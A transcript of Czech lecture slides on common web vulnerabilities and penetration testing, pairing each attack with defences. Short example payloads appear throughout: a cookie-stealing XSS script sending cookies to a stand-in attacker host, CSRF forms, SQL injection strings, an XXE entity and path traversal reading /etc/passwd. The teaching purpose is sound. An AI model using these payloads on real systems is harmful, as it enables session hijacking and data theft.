nejčastější webové zranitelnosti

48
Zranitelnosti webových aplikací Testování webových aplikací Roman Kümmel

Upload: ccuminn

Post on 04-Jun-2015

1.789 views

Category:

Technology


0 download

DESCRIPTION

Slajdy z přednášky o nejčastějších webových zranitelnostech a penetračním testování.

TRANSCRIPT

Page 1: Nejčastější webové zranitelnosti

Zranitelnosti webových aplikací

Testování webových aplikací

Roman Kümmel

Page 2: Nejčastější webové zranitelnosti

Zranitelnosti webových aplikací

Bezpečnostní hrozby

Síťové prvky, servery

VPN, Remote desktop

Webové aplikace

Útoky proti uživatelům

Clickjacking

CSRF

CRLF injection

XSS

Útoky proti aplikaci

SQL injection

Forced browsing

Nezabezpečený upload

Local File Include

DoS, DDoS Sociotechnika Wi-Fi

XML External Entity

Page 3: Nejčastější webové zranitelnosti

Zranitelnosti webových aplikací

Cross-Site Request Forgery (CSRF)

- Zneužití důvěry serveru v uživatele

- Nic netušící uživatel odešle serveru GET/POST požadavek

- Skript na serveru rozpozná uživatele podle cookie a požadavek pod identitou uživatele vykoná

- Může jít také o XMLHttpRequesty (AJAX požadavky)

Page 4: Nejčastější webové zranitelnosti

Zranitelnosti webových aplikací

Cross-Site Request Forgery (CSRF) metoda GET

- Útočník odešle uživateli odkaz pro odeslání nebezpečného požadavku cílové aplikaci

- Možnost zneužití HTML prvků načítajících externí obsah

http://www.webmail.cz/[email protected]

<img src=http://www.webmail.cz/[email protected]>

Page 5: Nejčastější webové zranitelnosti

Zranitelnosti webových aplikací

Cross-Site Request Forgery (CSRF) metoda POST

- Útočník vytvoří webovou stránku, která sama odešle nebezpečné požadavky cílové aplikaci ve chvíli, kdy ji (přihlášený) uživatel navštíví

- Pro utajení akce se formulář vloží do skrytého rámu

<form name=“fake“ method=“post“ action=“http://aplikace.cz/remail“> <input type=“hidden“ name=“email“ value=“[email protected]“> </form>

<script>document.fake.submit();</script>

Page 6: Nejčastější webové zranitelnosti

Zranitelnosti webových aplikací

Cross-Site Request Forgery (CSRF)

- Kontrola HTTP hlavičky REFERER - Nedoporučuji, možnost odeslání požadavků bez této hlavičky

- Kontrola hlavičky ORIGIN u XMLHttpRequestů - Podobná situace jako u hlavičky Referer

- Přidání autorizačního tokenu ke všem požadavkům - Útočník nemůže připravit útočný požadavek bez jeho znalosti - Ideální je platnost tokenu časově omezit

OBRANA

http://aplikace.cz/[email protected]&ticket=ba5e5aa2f472

Page 7: Nejčastější webové zranitelnosti

Zranitelnosti webových aplikací

Bezpečnostní hrozby

Síťové prvky, servery

VPN, Remote desktop

Webové aplikace

Útoky proti uživatelům

Clickjacking

CSRF

CRLF injection

XSS

Útoky proti aplikaci

SQL injection

Forced browsing

DoS, DDoS Sociotechnika Wi-Fi

Nezabezpečený upload

Local File Include

XML External Entity

Page 8: Nejčastější webové zranitelnosti

Zranitelnosti webových aplikací

Clickjacking

- Je-li nasazena ochrana před útoky CSRF

- Nic netušící uživatel sám klikne na prvek nebo vyplní a odešle formulář, bez toho, aby věděl, co vlastně dělá.

- Útok založen na možnosti načíst web. stránku do rámu

- Průhlednost rámu - Překrytí nechtěných prvků

- Vkládání údajů do aplikace, nebo krádež dat z aplikace.

Page 9: Nejčastější webové zranitelnosti

Zranitelnosti webových aplikací

Clickjacking

- JavaScript FrameKiller - if (top.location != self.location) - Nedoporučuji

- možnost načtení zdrojáku view-source: - Lze vyřadit zneužitím XSS filtru

- HTTP Response Hlavička X-Frame Options - DENY - SAMEORIGIN - ALLOW-FROM

- Content Security Policy

OBRANA

Page 10: Nejčastější webové zranitelnosti

Zranitelnosti webových aplikací

Bezpečnostní hrozby

Síťové prvky, servery

VPN, Remote desktop

Webové aplikace

Útoky proti uživatelům

Clickjacking

CSRF

CRLF injection

XSS

Útoky proti aplikaci

SQL injection

Forced browsing

DoS, DDoS Sociotechnika Wi-Fi

Nezabezpečený upload

Local File Include

XML External Entity

Page 11: Nejčastější webové zranitelnosti

Zranitelnosti webových aplikací

Cross-Site Scripting (XSS)

- Spuštění JavaScriptu v uživatelově prohlížeči - Same Origin Policy brání přístupu k jiným doménám - Injekce skriptu do webové aplikace umožňuje přístup ke všem

jejím objektům (čtení/zápis) - Únos sezení - Změna nebo čtení uložených dat (podvržení přihlašovacích formulářů, atd.) - XSS proxy

- Typy zranitelnosti XSS - Perzistentní - Non-Perzistentní - DOM based

Page 12: Nejčastější webové zranitelnosti

Zranitelnosti webových aplikací

Cross-Site Scripting (XSS)

<script> document.write (“<img src=‘http://utocnik.cz/save?cookie=‘+document.cookie>“);

</script>

Únos sezení – Session stealing

Page 13: Nejčastější webové zranitelnosti

Zranitelnosti webových aplikací

Cross-Site Scripting (XSS)

<div>Uživatelský příspěvek: <script>alert(1)</script></div> ------------------------------------------------------------------------------------------ <form> <input type=“text“ value=““><script>alert(1)</script>“> </form> ------------------------------------------------------------------------------------------ <input type=“text“ value=““ onclick=“alert(1)“> ------------------------------------------------------------------------------------------ <script type="text/javascript"> DOT.cfg({service: 'firmy', query:‚''});alert(1);//'}); </script> ------------------------------------------------------------------------------------------ <a href=“javascript:alert(1)“>odkaz</a>

Page 14: Nejčastější webové zranitelnosti

Zranitelnosti webových aplikací

Cross-Site Scripting (XSS)

var json = eval("(" + xhr.responseText + ")");

{"a":10, "b":20, "c":alert(1)} {"a":10, "b":20, "c":"alert(1)"}

“ + alert(“XSS“) + “

{“a“: ““ + alert(“XSS“) + ““} {“a“: “\“ + alert(\“XSS\“) + \““}

AJAX

Page 15: Nejčastější webové zranitelnosti

Zranitelnosti webových aplikací

Cross-Site Scripting (XSS)

- Náhrada metaznaků “ ‘ & < > za HTML entity &lt;

- Escapování metaznaků v řetězcích JavaScriptu \‘

OBRANA

Page 16: Nejčastější webové zranitelnosti

Zranitelnosti webových aplikací

Bezpečnostní hrozby

Síťové prvky, servery

VPN, Remote desktop

Webové aplikace

Útoky proti uživatelům

Clickjacking

CSRF

CRLF injection

XSS

Útoky proti aplikaci

SQL injection

Forced browsing

DoS, DDoS Sociotechnika Wi-Fi

Nezabezpečený upload

Local File Include

XML External Entity

Page 17: Nejčastější webové zranitelnosti

Zranitelnosti webových aplikací

CRLF injection

Request: http://www.seznam.cz?foo=test Response: Status: Found - 302 Location: https://www.seznam.cz?foo=test

Page 18: Nejčastější webové zranitelnosti

Zranitelnosti webových aplikací

CRLF injection

Injekce HTTP hlaviček vložením bílých znaků CR+LF Request: http://www.seznam.cz?foo=test%0D%0AHeader:Value Response: Status: Found - 302 Location: https://www.seznam.cz?foo=test Header: Value

Page 19: Nejčastější webové zranitelnosti

Zranitelnosti webových aplikací

CRLF injection

- Ošetřit bílé znaky před vložením hodnoty do hlavičky - například URL encoding

OBRANA

Page 20: Nejčastější webové zranitelnosti

Zranitelnosti webových aplikací

Bezpečnostní hrozby

Síťové prvky, servery

VPN, Remote desktop

Webové aplikace

Útoky proti uživatelům

Clickjacking

CSRF

CRLF injection

XSS

Útoky proti aplikaci

SQL injection

Forced browsing

DoS, DDoS Sociotechnika Wi-Fi

Nezabezpečený upload

Local File Include

XML External Entity

Page 21: Nejčastější webové zranitelnosti

Zranitelnosti webových aplikací

SQL injection

www.webmail.cz?name=pepa $name = $_GET[‘name‘] $query = “SELECT * FROM database WHERE name=‘$name‘“

SELECT * FROM database WHERE name=‘pepa‘

Page 22: Nejčastější webové zranitelnosti

Zranitelnosti webových aplikací

SQL injection

www.webmail.cz?name=‘ OR ‘a‘=‘a $name = $_GET[‘name‘] $query = “SELECT * FROM database WHERE name=‘$name‘“

SELECT * FROM database WHERE name=‘‘ OR ‘a‘=‘a‘ SELECT * FROM database WHERE name=‘‘; DROP database--‘

Page 23: Nejčastější webové zranitelnosti

Zranitelnosti webových aplikací

SQL injection

Escapovat metaznaky (apostrofy) SELECT * FROM database WHERE name=‘\‘ OR \‘A\‘=\‘A‘

Zdvojovat metaznaky (apostrofy) SELECT * FROM database WHERE name=‘‘‘ OR ‘‘A ‘‘= ‘‘A‘

Používat uložené procedury, kontrolu na nižších vrstvách, prepared statement

Pozor na escapování u vícebajtových znakových sad! ‘ => \‘ %BF‘ => %BF\‘ addslashes() => mysql_real_escape_string()

magic_quotes

OBRANA

Page 24: Nejčastější webové zranitelnosti

Zranitelnosti webových aplikací

SQL injection

www.webmail.cz?id=1 $id = $_GET[‘id‘] $query = “SELECT * FROM database WHERE id=$id“

SELECT * FROM database WHERE id=1

Page 25: Nejčastější webové zranitelnosti

Zranitelnosti webových aplikací

SQL injection

www.webmail.cz?id=1 or 1=1 $id = $_GET[‘id‘] $query = “SELECT * FROM database WHERE id=$id“

SELECT * FROM database WHERE id=1 or 1=1

Page 26: Nejčastější webové zranitelnosti

Zranitelnosti webových aplikací

SQL injection

Přetypováním: $id = (int)$_GET[‘id‘]

Uzavírání číselných hodnot do apostrofů + jejich ošetření www.webmail.cz?id=1 or 1=1 $query = “SELECT * FROM database WHERE id=‘$id‘“ SELECT * FROM database WHERE id=‘1 OR 1=1‘

www.webmail.cz?id=1‘ or ‘1‘=‘1 SELECT * FROM database WHERE id=‘1\‘ or \‘1\‘=\‘1‘

Uložené procedury, kontrola na nižších vrstvách, prepared statement

OBRANA

Page 27: Nejčastější webové zranitelnosti

Zranitelnosti webových aplikací

Bezpečnostní hrozby

Síťové prvky, servery

VPN, Remote desktop

Webové aplikace

Útoky proti uživatelům

Clickjacking

CSRF

CRLF injection

XSS

Útoky proti aplikaci

SQL injection

Forced browsing

DoS, DDoS Sociotechnika Wi-Fi

Nezabezpečený upload

Local File Include

XML External Entity

Page 28: Nejčastější webové zranitelnosti

Zranitelnosti webových aplikací

Forced browsing

- Procházení stránek změnou id v požadavku - Možnost získání celých databází

OBRANA - Nepoužívat id v požadavcích - Používat jedinečný identifikátor - Používání Captchy při mnoha požadavcích - Pozor na nedostatečnou autorizaci

Page 29: Nejčastější webové zranitelnosti

Zranitelnosti webových aplikací

Bezpečnostní hrozby

Síťové prvky, servery

VPN, Remote desktop

Webové aplikace

Útoky proti uživatelům

Clickjacking

CSRF

CRLF injection

XSS

Útoky proti aplikaci

SQL injection

Forced browsing

DoS, DDoS Sociotechnika Wi-Fi

Nezabezpečený upload

Local File Include

XML External Entity

Page 30: Nejčastější webové zranitelnosti

Zranitelnosti webových aplikací

XML External Entity (XXE)

- Full Path Disclosure - Cross-Site Scripting (XSS) - Server-Side Request Forgery (SSRF) - Scanning Internal Network - Denial of Service (DoS) - Local File Disclusion - atd.

Co s tím?

Page 31: Nejčastější webové zranitelnosti

Zranitelnosti webových aplikací

XML External Entity (XXE)

<?xml version="1.0"?> <!DOCTYPE contacts [ <!ELEMENT contact (login,name)> <!ELEMENT login (#PCDATA)> <!ELEMENT name (#PCDATA)> ]> <contacts> <contact> <login>karel</login> <name>Karel Novotný</name> </contact> <contact> <login>jana</login> <name>Jana Nádherná</name> </contact> </contacts>

Struktura XML dokumentu

DTD (Document Type Definition)

Document Content

Page 32: Nejčastější webové zranitelnosti

Zranitelnosti webových aplikací

XML External Entity (XXE)

<?xml version="1.0"?> <!DOCTYPE contacts [ <!ENTITY prijmeni "Novotný"> ]> <contacts> <contact> <login>karel</login> <name>Karel &prijmeni;</name> </contact> <contact> <login>petr</login> <name>Petr &prijmeni;</name> </contact> </contacts>

Interní entity v XML

<contacts> <contact> <login>karel</login> <name>Karel Novotný</name> </contact> <contact> <login>petr</login> <name>Petr Novotný</name> </contact> </contacts>

Page 33: Nejčastější webové zranitelnosti

Zranitelnosti webových aplikací

XML External Entity (XXE)

<?xml version="1.0"?> <!DOCTYPE contacts [ <!ENTITY note SYSTEM "./note/novotny.txt "> ]> <contacts> <contact> <login>karel</login> <name>Karel Novotný</name> <note>&note;</note> </contact> </contacts>

Externí entity v XML

<contacts> <contact> <login>karel</login> <name>Karel Novotný</name> <note>Textová poznámka ze souboru</note> </contact> </contacts>

Page 34: Nejčastější webové zranitelnosti

Zranitelnosti webových aplikací

XML External Entity (XXE)

<?xml version="1.0"?> <!DOCTYPE contacts [ <!ENTITY note SYSTEM „/etc/passwd"> ]> <contacts> <contact> <login>karel</login> <name>Karel Novotný</name> <note>&note;</note> </contact> </contacts>

Attack: Local File Disclusion

<contacts> <contact> <login>karel</login> <name>Karel Novotný</name> <note> root:!:0:0::/:/usr/bin/ksh daemon:!:1:1::/etc: bin:!:2:2::/bin: sys:!:3:3::/usr/sys: adm:!:4:4::/var/adm: uucp:!:5:5::/usr/lib/uucp: guest:!:100:100::/home/guest: lp:*:11:11::/var/spool/lp:/bin/false nuucp:*:6:5:uucp login Doe:/home/jdoe:/usr/bin/ksh

</note> </contact> </contacts>

Page 35: Nejčastější webové zranitelnosti

Zranitelnosti webových aplikací

Bezpečnostní hrozby

Síťové prvky, servery

VPN, Remote desktop

Webové aplikace

Útoky proti uživatelům

Clickjacking

CSRF

CRLF injection

XSS

Útoky proti aplikaci

SQL injection

Forced browsing

DoS, DDoS Sociotechnika Wi-Fi

Nezabezpečený upload

Local File Include

XML External Entity

Page 36: Nejčastější webové zranitelnosti

Zranitelnosti webových aplikací

Nezabezpečený upload

- Kontrolovat typ a strukturu uploadovaných dat - Konvertovat obrázky - Ošetřit bílé znaky a znaky pro procházení adresářů v

názvu uploadovaného souboru (použít nový název) - Zakázat spouštění skriptů v adresářích pro upload

OBRANA

- Upload serverového skriptu a jeho spuštění může vést k ovládnutí serveru

- Zneužití důvěryhodné domény k uploadu souborů sloužících k infikování počítačů konečných uživatelů

Page 37: Nejčastější webové zranitelnosti

Zranitelnosti webových aplikací

Bezpečnostní hrozby

Síťové prvky, servery

VPN, Remote desktop

Webové aplikace

Útoky proti uživatelům

Clickjacking

CSRF

CRLF injection

XSS

Útoky proti aplikaci

SQL injection

Forced browsing

DoS, DDoS Sociotechnika Wi-Fi

Local File Include

XML External Entity

Nezabezpečený upload

Page 38: Nejčastější webové zranitelnosti

Zranitelnosti webových aplikací

Local File Inclusion (disclosure)

- Možnost zobrazení nebo spuštění serverového skriptu

- Script lze na server dostat: - Uploadem souboru - Uploadem nakaženého obrázku - Přes cookies a session proměnné - Enviroment (proc/self/environ)

- Zneužitím logů (var/www/logs/access_log, apd.)

Page 39: Nejčastější webové zranitelnosti

Zranitelnosti webových aplikací

Local File Inclusion (disclosure)

GET: webmail.cz?action=view.php $page = $_GET[“action“]; Include($page); webmail.cz?action=../../../../etc/passwd webmail.cz?action=../images/foto.jpg

Page 40: Nejčastější webové zranitelnosti

Zranitelnosti webových aplikací

Local File Inclusion (disclosure)

- Vhodně nastavený webový server

- Neincludovat soubory na základě proměnné obdržené od uživatele

- Ošetřit výskyt sekvence ../

OBRANA

Page 41: Nejčastější webové zranitelnosti

Zranitelnosti webových aplikací

Bezpečnostní hrozby

Síťové prvky, servery

VPN, Remote desktop

Webové aplikace

Útoky proti uživatelům

Clickjacking

CSRF

CRLF injection

XSS

Útoky proti aplikaci

SQL injection

Forced browsing

DoS, DDoS Sociotechnika Wi-Fi

http://webmail.hackingvpraxi.cz

Webmail použitý v ukázkách je dostupný na adrese

XML External Entity

Local File Include

Nezabezpečený upload

Page 42: Nejčastější webové zranitelnosti

Zranitelnosti webových aplikací

Penetrační testování

Automatické vs.

manuální testování

Page 43: Nejčastější webové zranitelnosti

Zranitelnosti webových aplikací

Automatické testování

- Klady - Rychlost - Odstraňují opakující se úkony (../ ../../ ../../../ ../../../../) - Hledání konfiguračních souborů - Fuzzing - apd.

- Zápory - Nelze se na ně plně spolehnout - Mnoho „false positive“ hlášení - Nedokáží odhalit reakce projevující se na jiných místech - Při důkladných testech se nelze manuálním testům vyhnout

Page 44: Nejčastější webové zranitelnosti

Zranitelnosti webových aplikací

Manuální testování

- Klady - Důkladná analýza výstupu umožní lépe přizpůsobit

následné testy - Je možné odhalit i reakce projevující se na jiných místech

aplikace

- Zápory - Pentester je také jen člověk a může něco přehlédnout - Opakující se činnosti jsou časově náročné a vyčerpávající

Page 45: Nejčastější webové zranitelnosti

Zranitelnosti webových aplikací

Jak zajišťujeme bezpečnost aplikací

v Seznam.cz

Page 46: Nejčastější webové zranitelnosti

Zranitelnosti webových aplikací

- Vzděláváním vývojářů - Penetračním testováním betaverzí - Průběžnou kontrolou ostrých verzí - Vulnerability scanner (Acunetix) - Neodsuzujeme white hat hacking (BugTrack na SOOM.cz)

Jak zajišťujeme bezpečnost aplikací v Seznam.cz

Page 47: Nejčastější webové zranitelnosti

Zabezpečení webových aplikací

Dotazy

Page 48: Nejčastější webové zranitelnosti

Zranitelnosti webových aplikací

Děkuji za pozornost